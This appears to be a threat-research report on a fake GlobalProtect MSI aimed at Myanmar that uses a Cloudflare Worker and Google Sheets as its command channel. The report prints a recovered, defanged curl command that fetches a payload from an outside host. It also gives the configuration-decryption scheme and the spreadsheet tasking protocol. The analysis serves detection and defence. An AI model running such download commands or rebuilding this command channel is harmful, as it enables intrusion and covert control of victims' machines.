Threat Research

Fake GlobalProtect MSI Targets Myanmar Using Cloudflare and Google Sheets as C2

Fake GlobalProtect MSI analysis covering a Myanmar guardrail, Cloudflare-delivered Google credentials, Sheets tasking, and a GitHub-based follow-on payload.

Fake GlobalProtect MSI Targets Myanmar Using Cloudflare and Google Sheets as C2

Executive summary

The case began with an email link and a Google Sites page made to look like a Palo Alto Networks GlobalProtect download portal. We have left the organization, recipient, message and landing page out of the public record. The downloaded installer is enough to tell the technical story.

GlobalProtect.msi and its embedded 64-bit GlobalProtect.exe were both unsigned. The executable first checks the system's public location and continues only when the result points to Myanmar. It then reaches a numbered Cloudflare Worker, receives Google service-account material and uses Google Sheets as a row-oriented command channel: column A holds identifiers used for row lookup, B stores geolocation data and a metadata marker, C carries command material and D receives results.

The first useful runtime session authenticated to Google, read Sheet1!A1, updated Sheet1!B1 and polled Sheet1!C1. That particular C1 response was empty. A later session on September 15 reached Sheet1!C13, recovered an encrypted command, launched cmd.exe /c curl, read 628 bytes from the child's output pipe and attempted to return the result through Sheet1!D13. The command requested NGXPckg.exe from cctvcam[.]serveblog[.]net and wrote it to C:\programData\USOShared\NGXPckg.exe.

The analysis VM also contained NGXPckg.exe downloaded to C:\ProgramData\USOShared. We copied the deployed file from that directory for static and Deep API Trace analysis, and independently downloaded the same recovered URL as a cross-check. The resulting follow-on payload waits about five minutes, checks for a Myanmar location, discovers configuration through raw GitHub content and uses the GitHub Contents API for tasking and result transfer. Its runtime sequence reached the same faviconicons2/images repository, License object and Readme9823 marker seen in our DellHeuristics investigation.

HoneyMyte remains a useful regional comparison because its reported execution chain is clearly different. SideWinder is the stronger investigative lead: public reporting covers Myanmar-focused phishing, imitation sites and geographic restrictions, while the DellHeuristics/NGXPckg.exe overlap supplies a case-specific technical pivot. We treat that as a direction for further intelligence work, not an actor attribution.

Safety warning: Unknown installers and executables belong only in an authorized, disposable, isolated analysis VM containing no trusted credentials, sensitive data, shared folders, or access to a trusted network. A VM is not automatically a secure sandbox. Do not contact suspected live C2 infrastructure unless the activity is explicitly authorized, risk-assessed, monitored, and isolated.

How we investigated the sample

No single run exposed the entire chain. We started with the installer and executable, then used later captures to answer questions raised by the static analysis. The material reviewed for this article includes:

  • static inspection of the MSI and embedded executable;
  • Windows Installer metadata and package tables;
  • the September 16 MalwareINFO Pro Payload and Memory Analyzer static MSI bundle;
  • Process Monitor host activity from installation and direct execution;
  • packet captures from controlled VM sessions;
  • MalwareINFO Deep API Trace, Process Memory Capture, and Payload & Memory Analyzer exports;
  • debugger observations of library activity, process exit, and a plaintext application response buffer;
  • three identity-bound full-memory captures from the configuration-delivery session; and
  • three additional identity-bound captures from a subsequent OAuth and Sheets session;
  • a later GlobalProtect Deep API Trace export containing the C13, child-process, pipe-output, and D13 sequence; and
  • static and Deep API Trace evidence from the confirmed follow-on payload, NGXPckg.exe, downloaded by GlobalProtect.exe inside the analysis VM, copied from C:\ProgramData\USOShared\NGXPckg.exe, and independently reacquired from the recovered URL.

These were separate executions, not one uninterrupted timeline. Where that distinction changes the finding, we name the session or process explicitly. In tables, Observed means a runtime source recorded the event, Debugger observed identifies plaintext seen at an API boundary, Runtime-memory observed means the data existed in a live allocation, and Static capability refers to behavior reconstructed from code or package configuration. Inferred and Not proven are reserved for conclusions that the retained material cannot settle directly.

The public disclosure line is equally simple. We publish hashes, defanged infrastructure, file and API paths, protocol markers, code-derived ranges and non-secret cloud identifiers. We do not publish reusable private keys, access tokens, the live gate secret, the active spreadsheet identifier, victim-linked values or raw command output that may contain host data.

Delivery: trusted branding on a public web platform

The private incident report describes a link delivered by email and a Google Sites page styled as a GlobalProtect portal. We intentionally omit the message, sender and recipient details. At technique level, the delivery is consistent with MITRE ATT&CK T1566.002, Spearphishing Link: a link takes the recipient to web content that prompts a download rather than attaching the payload directly.

Google Sites is a legitimate service, and its appearance in a delivery chain does not make the platform malicious. The defensive lesson is to validate the actual publisher, signature and approved software-distribution route instead of trusting a familiar logo or hosting domain.

Palo Alto Networks describes GlobalProtect as secure-access infrastructure built around GlobalProtect apps, portals and gateways. The supplied package instead installed a standalone executable that performed geolocation, configuration-gate and command-channel operations. This mismatch, combined with the absent signatures and deceptive naming, supports T1036.005, Match Legitimate Resource Name or Location.

Sample identity

ArtifactSizeSHA-256Signature state
GlobalProtect.msi3,475,968 bytesa124caa58d956c7430ecb8772a3794266235917670c5b56564342bd1456897e7No Authenticode signature present
Embedded GlobalProtect.exe425,984 bytes33d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8cNo Authenticode signature present

The executable is a native PE32+ x64 Windows GUI image. MalwareINFO's disk-image profile parsed six sections and eight import modules, found no CLR header, no TLS directory, and no certificate table. Compile and MSI metadata timestamps are useful for chronology, but timestamps can be modified and are not attribution evidence.

The MSI advertised GlobalProtect VPN version 11.5.0 with manufacturer text PaloAlto. Those fields are attacker-controlled package metadata. They must not be treated as vendor verification.

MSI package analysis

On September 16, we re-examined the installer with MalwareINFO Pro's Payload and Memory Analyzer. The retained bundle is MsiAnalysis_20260916_015537_msi_a124caa58d956c74_75ec72d5. The analyzer operated under a StaticOnly;NoArtifactExecution;NoAutomaticResponse safety contract. It parsed the embedded cabinet and recovered all five files declared by the package—7,029,332 bytes in total—with no omitted child or package-processing error. Static child analysis completed for the executable and three DLLs; the PNG remained inventory-only. This pass did not run the installer or any extracted file; it independently corroborated the package inventory and exposed the MSI tables behind the installation behavior.

The package contained the main executable, copies named CRYPT32.dll, bcrypt.dll, and WININET.dll, and a branding image. Its identity and routing fields were:

MSI fieldValue
PackageCode{757AEDEC-A120-4713-9114-9B5F705B09FD}
ProductCode{49CB5141-CEC5-4324-BB91-E2D843CD4DE1}
UpgradeCode{BF73E425-31E9-4F43-AFA3-B928117CAEA2}
Product metadataGlobalProtect VPN version 11.5.0, manufacturer PaloAlto
Installation contextALLUSERS=2
Derived target directoryC:\Program Files\PaloAlto\GlobalProtect VPN

The product and manufacturer strings are attacker-controlled metadata, not proof of a Palo Alto Networks package. The directory-setting custom action derives the destination from [ProgramFiles64Folder][Manufacturer]\[ProductName], which explains the PaloAlto-themed path without authenticating it.

The MSI's executable custom action uses the embedded GlobalProtect.exe as its source and passes:

GlobalProtect.exe /Install

The action is placed at sequence 5999, after StartServices at 5900 and immediately before RegisterUser at 6000, with an install-state condition on the executable's component. The analyzer labels this an ElevatedCustomAction derived finding. That is evidence of package configuration, not proof that the action completed on a particular host.

The retained installation trace recorded PID 3604 running that command. It wrote a 146,944-byte bcrypt.dll and a 5,039,616-byte WININET.dll into the application directory, then loaded them. The local module names are significant because Windows may search the application directory when resolving DLLs. Microsoft's DLL search-order documentation explains that the application folder participates in module resolution, while its DLL security guidance warns that control of a searched directory can enable DLL preloading or binary planting.

That general Windows behavior does not, by itself, prove that these particular DLLs were malicious. The retained evidence shows that the files were written and loaded from the application folder. Their contents and signer identities require separate evaluation; defenders should not block common Windows DLL names globally.

The MSI Registry table directly defines two GlobalProtectVPN RunOnce values, one under HKCU and one under HKLM. Both point to C:\Program Files\PaloAlto\GlobalProtect VPN\GlobalProtect.exe; the analyzer records this as an exact RunOrRunOnce finding. A scheduled task named GlobalProtectVPNUpdate comes from separate code and host artifacts, not from the MSI table finding. Microsoft's Run and RunOnce documentation confirms that RunOnce entries request one-time execution at logon. The behaviors align with T1547.001, Registry Run Keys / Startup Folder and T1053.005, Scheduled Task.

Windows Installer is legitimate infrastructure. ATT&CK documents adversarial use of it under T1218.007, Msiexec, but an MSI alone is not suspicious. The useful detection is the correlated chain: an unapproved or unsigned MSI, deceptive product identity, an unusual installation path, unexpected local DLLs, autostart configuration, and immediate network activity.

The package also schedules RemoveExistingProducts at sequence 6550 and defines an upgrade row for the same UpgradeCode, with NEWERPRODUCTFOUND and a minimum version of 11.5.0. The analyzer reports this as a derived UpgradeRemoval finding. It shows how the package is configured to handle related products; it does not establish that another product was actually found or removed during the retained run.

Extracted file inventory

Offline extraction recovered the following files. No executable or DLL is attached to this article.

FileSizeSHA-256Review result
GlobalProtect.exe425,984 bytes33d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8cUnsigned native PE32+ x64 GUI executable; no CLR header
bcrypt.dll146,944 bytes811af66dd7e323a74db80648610bbeb956093ae7bd91c5b950ed6aca13d8026Microsoft version metadata and a valid embedded signature in the extracted file
CRYPT32.dll1,412,152 bytesc692af3f8741669cd1b517c461e80bce19ad6e8608c81066cde9786f17be0099Microsoft version metadata and a valid embedded signature in the extracted file
WININET.dll5,039,616 bytes948589c349b0205ff73c7049b0d2e5c4faffb64271c64ee0033e384f61cf51d6Microsoft version metadata; no embedded signature detected by the local check
paloalto.png4,636 bytes8a680fcc160c352ed2d9b96654e50bf0f5f504141828aa50b75b970f46f3f170Branding resource

A validly signed supporting DLL does not make the enclosing MSI trustworthy. Conversely, an absent embedded signature on a copied Windows component is not sufficient to call that component malicious; catalog signing and file provenance require separate checks. The evidence of interest is the package's combined file set, placement, execution and network behavior.

Reverse-engineered control flow

Static control-flow analysis supports this sequence:

MSI installation -> GlobalProtect.exe /Install -> files and startup artifacts
Normal launch -> persistent device ID -> public-IP geolocation
Myanmar match -> Cloudflare configuration gate -> Google authorization design
Spreadsheet polling -> session-specific tasking -> command execution -> result submission attempt
Evidence-bounded flow separating the earlier empty C1 poll from the later C13 command, child-process, pipe-output, and D13 submission-attempt evidence
Evidence-bounded flow separating the earlier empty C1 poll from the later C13 command, child-process, pipe-output, and D13 submission-attempt evidence

The diagram combines the program's control flow with milestones reached in different captures. The earlier Sheets run stopped at an empty C1 poll. The September 15 run reached C13 tasking, child-process creation, output collection and a D13 submission attempt. Keeping those runs separate explains how the assessment changed without rewriting the empty C1 result into something it was not.

Encrypted configuration

The executable stores several operational constants as encrypted blobs. Offline analysis reproduced the program's AES-256-CBC decryption behavior and valid PKCS#7 padding without contacting any external service. Recovered values identify the geolocation host, the install directory, the Cloudflare gate, the gate request-header name and the Windows command-shell prefix.

The configuration decryption input is published because it is a static program constant rather than a live service credential: AmountOfFreeDiskSpace. Direct disassembly shows the executable opening the SHA256 algorithm, hashing that input and using the 32-byte SHA-256(input) result as the AES-256 key. The first 16 bytes of each stored blob supply the CBC initialization vector; the remaining bytes are ciphertext with PKCS#7 padding. This documents how the embedded configuration was recovered without publishing the derived key as an additional copy-ready artifact.

PropertyReverse-engineered value
Key-derivation inputAmountOfFreeDiskSpace
Key derivationSHA-256(input)
CipherAES-256-CBC
PaddingPKCS#7

The boundary is deliberate: the configuration decryption input is published, while the live gate-authentication secret remains withheld. The request-header name X-Bot-Secret is useful for detection, but its value could facilitate replay. The later plaintext response strongly supports the header's role as authentication material used to access the configuration gate, but it does not reveal the Worker's server-side validation logic or prove the identity of whoever possessed the value.

Encryption here is local configuration obfuscation, not attribution evidence and not proof that the HTTPS stages succeeded. Both the encrypted data and its recovery logic are present in the executable; TLS separately protected the captured Worker and Google traffic in transit.

Myanmar activation guardrail

Static strings described a public-IP lookup and a comparison with Myanmar. Runtime traffic then supplied the missing behavioral link. The packet capture recorded:

GET /json HTTP/1.1
Host: ip-api.com
User-Agent: SheetsBot/1.0

The response contained country: Myanmar and countryCode: MM. Precise IP address, location and ISP values are intentionally omitted because they describe the analyst's environment and are not necessary for detection.

The corresponding runtime Process Monitor session began at 18:57:42.925 and exited with status 0 at 18:57:45.785, a lifetime of approximately 2.86 seconds. During that interval, PID 7100 connected to ip-api.com:80, a Cloudflare address on TCP/443, and Google-owned infrastructure on TCP/443. The installation session independently showed the same broad destination sequence.

This is stronger than finding the word Myanmar in a binary. The clear request, returned country value, memory-resident country markers, and subsequent Cloudflare/Google connections support a Myanmar activation or targeting guardrail. The public-IP lookup is consistent with T1016.001, Internet Connection Discovery. We use “execution guardrail” descriptively; ATT&CK's narrower T1480.001, Environmental Keying requires cryptographic environmental keying, which this evidence does not establish.

ip-api.com is a legitimate shared service. It is contextual evidence, not a domain that organizations should block globally without considering business use and the originating process.

Persistent device identifier

Reverse engineering shows that the executable attempts to read a locally persisted identifier and generates one when the expected value is unavailable. Later command-channel logic reuses an identifier to find a Sheet row. A read-back of Sheet1!A1:A16 found fifteen populated cells containing ten-character alphanumeric values. Two cells, A1 and A7, held the same value, so this snapshot does not establish that each row represents a unique device. The -tk- marker appeared in the binary and writable private memory, but the Sheet read-back places it in column B's metadata suffix, not inside the observed A-cell identifiers.

The actual identifiers from the analysis VM are not published. The read-back describes the populated cells at inspection time; it does not establish the generator's behavior for every installation or the full lifecycle of a row. Defenders can correlate the uncommon -tk- metadata marker, local identifier artifacts, the executable hash and the surrounding network sequence. Finding the marker alone does not prove that an operator session occurred.

Cloudflare Worker configuration gate

The retained evidence identified a numbered Worker family:

hxxps://sheets-config-gate.hewlett-pack{1..9}[.]workers[.]dev/config0

All nine numbered hostnames occurred in writable private memory. The dump retained a coherent /config0 request construction for hewlett-pack3, including the SheetsBot/1.0 user agent and a populated X-Bot-Secret header. It also retained a less complete hewlett-pack9 request remnant. The header value is intentionally withheld. These memory objects show that request material was constructed in the process; they do not establish that either request was transmitted or accepted.

Only hewlett-pack1 was observed in DNS. Each retained PCAP contained an A-record query and response for sheets-config-gate.hewlett-pack1[.]workers[.]dev, followed by Cloudflare-connected traffic in the relevant sequence. Hosts 2 through 9 remain runtime-memory observations, not network observations. Direct executable inspection contained the common .workers.dev suffix and request artifacts, but not nine literal complete hostnames; the numbered family is therefore reported from the runtime dump rather than mislabelled as nine static strings.

Associated program strings described accepting or rejecting gate access and parsing fields named google_creds, spreadsheet_id, client_email, and private_key. The runtime PCAP did not expose the encrypted HTTPS request or response body.

Cloudflare's Workers documentation explains that a request to a *.workers.dev subdomain invokes user-defined Worker code on Cloudflare's network. That architecture makes a Worker suitable as a small configuration or redirection layer, but the platform remains a legitimate service used by many applications.

Because the HTTPS response was encrypted and no session keys were retained, the PCAP does not reveal the Worker response. A later debugger session supplies a different evidence source: plaintext application data returned through InternetReadFile. We did not retrieve or replay the secret or interact with the endpoint outside the recorded lab executions.

Full-memory evidence narrows the stopping point

The dump was parsed offline as a Windows minidump and each relevant hit was mapped back to its virtual-memory region. This separates constant data mapped from GlobalProtect.exe from transient or copied data in private process memory.

Memory findingLocation classWhat it supportsWhat it does not prove
/config0, SheetsBot/1.0, and a populated X-Bot-Secret request construction associated with hewlett-pack3Writable private memoryRequest material existed in a runtime allocationNetwork transmission, server receipt, or acceptance
Numbered hewlett-pack1 through hewlett-pack9 hostnamesWritable private memoryThe process materialized the numbered host familyThat every host was contacted
hewlett-pack1 DNS query and responseObserved network evidenceThis exact numbered host was resolved during retained sessionsHTTPS application content or a successful gate response
Gate-success diagnosticMapped executable image onlyThe binary implements a success branchThat the success branch ran
Rejection or blocked-channel diagnosticMapped executable image and Writable private memoryA runtime allocation retained rejection-path textWhether the server rejected the request, a channel was blocked, or the text was merely prepared
-tk- metadata markerMapped executable image, Writable private memory, and later Sheet B read-backThe marker is present in the process and appended to B-column geolocation metadataThat it forms part of an A-column identifier or proves operator activity

For that earlier capture alone, the strongest defensible stopping point remained after geolocation and Worker request preparation. Its private rejection diagnostic was not decisive proof of a server outcome. The later debugger and memory evidence described next supersedes that negative boundary without turning the separate executions into one fictional timeline.

Debugger-confirmed Google configuration delivery

The new evidence comes from a separate execution of the same x64 executable identity. The debugger targeted PID 4408; three MalwareINFO Process Memory Capture manifests bind the captures to the same process-creation identity, executable path, architecture and executable SHA-256 33d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8c. Each capture completed with Complete coverage and an independently matching dump hash.

CaptureStart time (UTC)Point-in-time evidence
Dump 12026-09-02 20:23:29Worker configuration fields, spreadsheet identifier and complete service-account credential material in writable private memory; no compact JWT recovered
Dump 22026-09-02 20:30:33Credential remnants plus a signed RS256 JWT and constructed JWT bearer-grant request material
Dump 32026-09-02 20:36:58The same signed JWT and request-construction remnants persisted; no usable OAuth access token was recovered

At wininet!InternetReadFile, the debugger showed a plaintext response buffer containing spreadsheet_id, google_creds, project_id, private_key_id, private_key, client_email and client_id. The same credential-shaped values appeared in writable private memory. This changes the Worker response from Inferred to Debugger observed and confirms that the process received Google configuration material. It does not mean the PCAP was decrypted: the network capture still contains encrypted HTTPS payloads.

A complete Google service-account private key was present in the debugger-observed configuration response. The key is intentionally withheld. The exact spreadsheet identifier, credential key identifier, gate secret and signed JWT are also withheld because they are unnecessary to reproduce the analytical conclusion and could expose or facilitate use of live resources. The debugger screenshots are not published because opaque redaction would remove much of their evidentiary context; the article instead reports the bounded findings.

Google service-account OAuth

Static analysis first recovered a coherent service-account authorization design: JWT fields including alg, RS256, iss, scope, aud, iat and exp; the Google Sheets OAuth scope; RSA signing and key-import paths; the JWT bearer grant; access_token parsing; and construction of a Bearer authorization header. The later memory captures elevate part of that design to runtime evidence.

Google's server-to-server OAuth documentation describes the legitimate model in which a service account signs an assertion, exchanges it for an access token and calls an authorized API. The sample appears designed to obtain credential material through the preceding configuration stage and apply that model to Sheets.

One compact JWT recovered from Dumps 2 and 3 decoded to the following public-safe claims. The complete signed token is intentionally withheld.

JWT fieldRuntime-observed value
alg / typRS256 / JWT
iss[email protected]
audhttps://oauth2.googleapis.com/token
scopehttps://www.googleapis.com/auth/spreadsheets
iat / exp1788380849 / 1788384449
Assertion lifetime3,600 seconds (approximately one hour)

Offline verification confirmed that the RS256 signature matched the private key recovered from Dump 1. Runtime memory also retained the JWT bearer-grant type, an assertion parameter and form-encoded request material. The malware therefore progressed beyond merely implementing service-account OAuth: it constructed a signed assertion and built the token-request body at runtime.

A subsequent execution materially advances that boundary. A debugger transcript retained response metadata identifying token_type as Bearer and expires_in as 3599, while three identity-bound full-memory captures retained populated access-token material in writable private memory. One capture also retained the populated token in Bearer form. Together, these artifacts support a Debugger observed successful OAuth response and Runtime-memory observed token availability. The token itself is intentionally withheld and was not used for independent access.

The reported lifetime was approximately one hour. This confirms token issuance in that later execution; it does not establish who controlled the Google project, grant authorization beyond the captured process, or prove every subsequent API operation.

Google Sheets C2 becomes operational

In a subsequent execution/capture, three completed Full User-Mode Dumps identify PID 2272 as the same x64 executable path and SHA-256, with a consistent process-creation identity across the capture set. This is a separate run from the earlier PID 7268 and PID 4408 evidence and is not merged into either timeline.

The retained writable private memory contains request- and response-shaped Google Sheets API material that advances several protocol stages from static capability to observed runtime evidence:

OperationEvidence classWhat the evidence supportsWhat it does not support
Read Sheet1!A1Runtime-memory observedA request for the exact cell and a response-shaped object containing a valuePublication of the returned device value or proof of how the row was originally registered
Update Sheet1!B1Runtime-memory observedA response reports updatedRange Sheet1!B1 with one updated row, column and cellPublication of the victim/lab metadata or proof of any broader collection
Poll Sheet1!C1Runtime-memory observedRepeated request material and a response for Sheet1!C1The retained response contained no values member and therefore no observed operator command
Write Sheet1!D1Not observedThe binary still contains the static result-channel designNo successful D1 request or update response was recovered

The exact spreadsheet identifier, returned A1 value, access token and any analyst or device identifiers remain withheld. Generic command-shell strings in mapped images or memory are not counted as command execution. Runtime evidence confirms successful OAuth token issuance, Google Sheets access, a read from Sheet1!A1, a successful update to Sheet1!B1, and polling of Sheet1!C1. The retained command-poll response contained no command value, so operator tasking, command execution, output collection, and Sheet1!D1 result submission remain unobserved. In short: C2 channel establishment and polling were observed; operator tasking and downstream execution were not.

Recovered Google Cloud infrastructure

The debugger-observed configuration exposed identifiers for Google Cloud infrastructure used by the malware. These values do not identify the human operator and do not establish whether the underlying project was attacker-created, compromised or reused.

TypePublic CTI pivotEvidence boundary
Google Cloud project IDelliptical-tree-505904-p7Received in the plaintext configuration response
Service-account identifier[email protected]Google service-account identity used by the malware; not a victim or end-user email address
Google client ID101714939433347726433Numeric client identifier associated with the recovered service-account object; not an access token or victim ID
Private-key IDRecovered; exact value withheldCredential identifier retained internally
Spreadsheet IDRecovered; exact value withheldActive resource identifier retained internally
Private keyComplete material recovered; withheldReusable credential material is not published

Google Sheets command protocol

The executable and full memory dump contained a coherent set of Google API artifacts:

  • oauth2.googleapis.com and an OAuth token path;
  • sheets.googleapis.com and /v4/spreadsheets;
  • client_email, private_key, access_token, and Bearer;
  • the Google Sheets OAuth scope;
  • spreadsheet ranges and command/output column markers; and
  • command-shell and pipe-related strings.

Google documents that server-to-server OAuth can use a service account to request an access token for Google APIs. Its Sheets API values.get reference shows that reading a range requires a spreadsheet ID, a range and an authorized request. Google also documents APIs for reading and writing cell values.

The sample's artifacts fit that legitimate API model, but appear designed to repurpose it. Direct binary inspection ties the four embedded ranges to these roles:

RangeReverse-engineered roleDirectionCurrent evidence and public boundary
Sheet1!ADevice or row identifierTarget -> Sheet / lookupCode scans rows 1-100 for an existing identifier and contains a val- new-record marker. In the supplied read-back, A1:A15 held ten-character alphanumeric values, with A1 repeated at A7; A16 was empty. The identifiers remain withheld.
Sheet1!BGeolocation response and metadata markerTarget -> SheetA later response reported a successful one-cell update to Sheet1!B1. In the read-back, fourteen cells contained geolocation JSON with country, region, coordinates, network provider and public-IP fields, followed by -tk-0-- or -tk-100--; B14 held only -tk-100--, and B16 was empty. Victim/lab values remain withheld.
Sheet1!CCommand materialSheet -> targetThe earlier session's retained Sheet1!C1 response had no command value; a separate session retrieved tasking from C13. In the later read-back, C1:C14 all held the same 224-character hexadecimal value, while C15:C16 were empty. The read-back does not show when those cells were populated.
Sheet1!DCommand output/resultTarget -> SheetThe earlier session did not retain a successful Sheet1!D1 write. A later trace captured a PUT to D13. In the supplied D1:D16 read-back, only D13 held a value: hex-encoded UTF-16LE curl output. The stored value is not attributed to that exact traced request.

At a high level, the implemented protocol is: look up or create an identifier in column A, put the geolocation response and a -tk- suffix in column B, read command material from column C, and put command output in column D. Markers such as command-, out-, val-, /values/ and valueInputOption=USER_ENTERED first established this as a reverse-engineered Static capability. The earlier A1 read, B1 update and C1 poll remain Runtime-memory observed findings for that execution; the later Sheet read-back describes a mutable workbook at a different point in time.

Analyst read-backs of column D make its purpose concrete. D13 held hexadecimal text that decoded as UTF-16LE curl console output: a progress meter followed by curl: (7) Failed to connect to cctvcam[.]serveblog[.]net port 443 ... Could not connect to server. D1:D12 and D14:D16 were empty in the supplied D1:D16 snapshot. Two retained D13 reads differed only in the reported connection time, 21,118 versus 21,095 ms, confirming that this cell's contents can change between inspections. D stores a command's console result, including an error, rather than the downloaded executable. The traced process collected 628 pipe bytes, while either D13 read decodes to 3,810 bytes, so we cannot attribute either stored value to that specific traced PUT. The failed connection describes those recorded attempts; the payload acquisition documented below came from a separate observed VM acquisition and an independent download.

The earlier PID 2272 evidence did not observe cmd.exe as a child, an operator command, returned command output, or a successful D1 result write. The correct session-specific claim is therefore: the sample authenticated to Google and established its Sheets-based channel, but the retained C1 response contained no tasking and no downstream command transaction was demonstrated in that run.

The later September 15 Deep API Trace export is a different execution, not a continuation of PID 2272. It retained a GET for Sheet1!C13, 320 response bytes, and analyst-retained command material. Offline reproduction of the executable's decoder interpreted the text as hexadecimal bytes, used the first 16 decoded bytes as the CBC IV, derived an AES-256 key as SHA-256("AmountOfFreeDiskSpace"), decrypted the remaining bytes with AES-256-CBC, and removed valid PKCS#7 padding. The 112 decoded bytes yielded a 90-byte command. The detailed September 15 section publishes the retained ciphertext and a reproducible offline decoder; the defanged command is:

curl hxxps://cctvcam[.]serveblog[.]net/weblogin/ngxpkg -o C:\programData\USOShared\NGXPckg.exe

The program prepended c:\windows\system32\cmd.exe /c. Deep API Trace event 3213 then recorded CreateProcessW at GlobalProtect.exe+0xAE59, ReturnValue=true, result Success, child PID 7040, and child thread ID 1668. The parent subsequently recorded eight nonzero ReadFile returns of 1, 235, 1, 77, 1, 77, 1, and 235 bytes, totaling 628 bytes, before a final zero-byte read. It then attempted a PUT to Sheet1!D13 with a 2,529-byte optional body; the API returned true and 166 response bytes were retained.

Deep API Trace establishes the transition from recovered C13 tasking to the hidden cmd.exe /c curl child and the parent's collection of the child's output. The VM also contained the downloaded file at the commanded destination. We copied that deployed NGXPckg.exe, hashed it, analyzed it statically and ran it under a separate Deep API Trace session; an independent download from the same recovered URL provided an additional acquisition check. The traced D13 request still has RemoteEffect=NotVerified in that export. The separate Sheet read-back establishes that D13 held curl output, but cannot bind that stored value to this specific request.

Blocking all workers.dev, oauth2.googleapis.com, or sheets.googleapis.com traffic would disrupt legitimate activity. Detection should correlate the exact rare hostname and URI with the unsigned executable, SheetsBot/1.0, geolocation request, installation path, persistence artifacts, and process ancestry.

Prior use of Google Sheets as command and control

Google Sheets is a legitimate collaboration service, but its API can also be repurposed as a structured message store. A client that possesses valid authorization can read and update predictable cells without contacting a conventional command server. That design can make malicious requests appear alongside ordinary access to Google infrastructure, although Google API traffic is not inherently benign and is not “network invisible.” Several publicly documented malware families used this general model before the Fake GlobalProtect sample analyzed here.

In August 2024, Proofpoint documented Voldemort, a C backdoor delivered through a multi-stage chain that ended in DLL side-loading. Its decrypted configuration contained an OAuth client ID, client secret and refresh token. Voldemort exchanged those values for an access token, located available cells, uploaded host information and read operator commands from Google Sheets. Proofpoint also described victim-specific pages named from host and user information. The backdoor supported operations including directory listing, file transfer, command execution, sleep and exit. This report is a strong precedent for a malware operator treating a spreadsheet as both a task queue and a result store, but it does not connect the Fake GlobalProtect sample to Voldemort or its attributed operator.

In January 2026, Zscaler ThreatLabz reported SHEETCREEP, a lightweight C# backdoor used in the Sheet Attack campaign. SHEETCREEP decrypted an embedded configuration containing Google Cloud credentials and a Sheet identifier, generated a victim identifier and established a victim-specific area in the workbook. It then polled for new commands every three seconds, passed them to a hidden cmd.exe process and wrote encrypted, Base64-encoded output back to the sheet. The same research recorded fallback configuration locations in Firebase and Google Cloud Storage. This is relevant as an example of repeated polling and bidirectional command/result exchange through Sheets; its configuration format, encryption and execution chain are not evidence about this sample.

In July 2026, Seqrite described SheetAgent in Operation ShadowRecruit. That .NET RAT carried hardcoded Google service-account material, including an RSA private key, and created a Sheets service with access to Google Sheets and Drive. Seqrite characterized Sheets as a backup C2 channel and documented a fixed column layout: computer identity, timestamp, commands, command output, public IP and agent status occupied defined fields. The malware searched for an existing computer name or registered the next available row, then reused that row for command and result exchange. The resemblance to a row-oriented protocol is analytically useful, but shared use of columns, service accounts or Google APIs does not establish common code, infrastructure or authorship.

Also in 2026, Google Threat Intelligence Group and Mandiant reported GRIDTIDE, a C-based Linux backdoor used in intrusions attributed by Google to UNC2814. GRIDTIDE used the Google Sheets API as a high-availability communications channel for shell commands and raw data transfer, placing spreadsheet operations inside traffic to a widely used cloud service. Google’s disruption included terminating attacker-controlled Cloud projects and revoking the API access used for C2. GRIDTIDE broadens the precedent beyond Windows and .NET malware: the underlying technique is service abuse, not a platform-specific malware architecture.

Across these reports, the recurring design choices are authorization to an attacker-accessible cloud resource, deterministic victim or task placement, periodic reads for instructions and writes for status or results. The implementations differ in language, credential model, workbook organization, encryption, infection chain and operating system. Runtime evidence confirms that this sample authenticated and interacted with its configured Sheet. The earlier session retained an A1 read, B1 update and empty C1 poll; the separate September 15 session retained C13 command material, child-process creation, pipe-output collection, and a D13 submission attempt. A separate read-back found curl output stored in D13, but cannot identify which request wrote that exact value. This comparison does not establish a relationship between this sample and Voldemort, SHEETCREEP, SheetAgent, GRIDTIDE or any associated threat actor.

Reading the captures in sequence

The first memory set showed how the program prepared its Cloudflare request. The next captures exposed the returned Google configuration, a signed assertion and a valid OAuth response. PID 2272 then read A1, updated B1 and polled C1, but C1 contained no command. That is the complete finding for that run.

The September 15 capture recorded a different moment in the same protocol. This time C13 contained command material. The process launched a child, collected 628 bytes from its pipe and attempted to write the result to D13. We use C13 and D13 as exact spreadsheet references; they are not labels for a proven thirteenth connection, poll or execution.

Command execution and output capture

Disassembly connects command data to a Windows command-shell prefix and a process-creation helper. That helper configures an inherited pipe for both stdout and stderr, starts the child with the CREATE_NO_WINDOW flag, reads bounded output and waits for completion before closing handles. This supports a general-purpose command-and-result capability consistent with T1059.003, Windows Command Shell and cloud-service abuse consistent with T1102, Web Service.

The earlier C1 run demonstrated the channel without tasking. The later C13 run supplied the missing command transaction: encrypted task material, child-process creation and pipe-output collection. The recovered ciphertext and an offline decoder appear in the follow-on section below.

Persistence

Package and host evidence identify GlobalProtectVPN RunOnce values under both HKCU and HKLM, referencing the installed executable. Microsoft's Run and RunOnce documentation explains that RunOnce values request one-time execution at logon.

Separate code and host artifacts identify a scheduled task named GlobalProtectVPNUpdate with PaloAlto-themed metadata and an action referencing GlobalProtect.exe. Task Scheduler COM use and the recovered task strings support the implementation, but the exact principal, run level and every trigger property were not fully established and are not invented here.

These behaviors align with T1547.001, Registry Run Keys / Startup Folder and T1053.005, Scheduled Task. A registry value or task name is not a verdict by itself; verify its referenced path, hash, signer, creator, action and timestamps.

Build and packaging intelligence

The executable header timestamp corresponds to 2026-08-19 06:08:59 UTC. The MSI Summary Information “last saved” value corresponds to 2026-08-19 06:09:17 UTC—18 seconds later. That tight interval is consistent with the executable being packaged immediately after the recorded build time.

Both timestamps are attacker-controlled and may be forged. They do not prove the real compilation time, build host, actor location or delivery date. No PDB path or trustworthy executable product-version resource was recovered, so compiler and developer attribution are not asserted. The combination of timestamps, MSI GUIDs, install path, task/value names, user agent and cloud protocol markers is more useful as a clustering hypothesis than any single field.

What runtime analysis added

Static analysis gave us the route through the program; runtime work filled in the traffic and data. The PCAP recorded the clear-text geolocation request and Myanmar response. Debugger and memory captures exposed the Cloudflare response, OAuth construction, token issuance and the first A1/B1/C1 exchange. The September 15 API trace then captured the C13 command transaction, child process, 628 bytes of output and D13 submission attempt. Each source answered a different part of the same investigation.

Background network traffic is not C2

Debugger captures showed WinHttpConnect activity involving c.pki.goog, and the case retained a file named 37BFu49bNWI.crl. Hash and content inspection identified it as a Google Trust Services certificate revocation list. The call stack passed through Windows cryptographic networking components rather than establishing the investigated command channel.

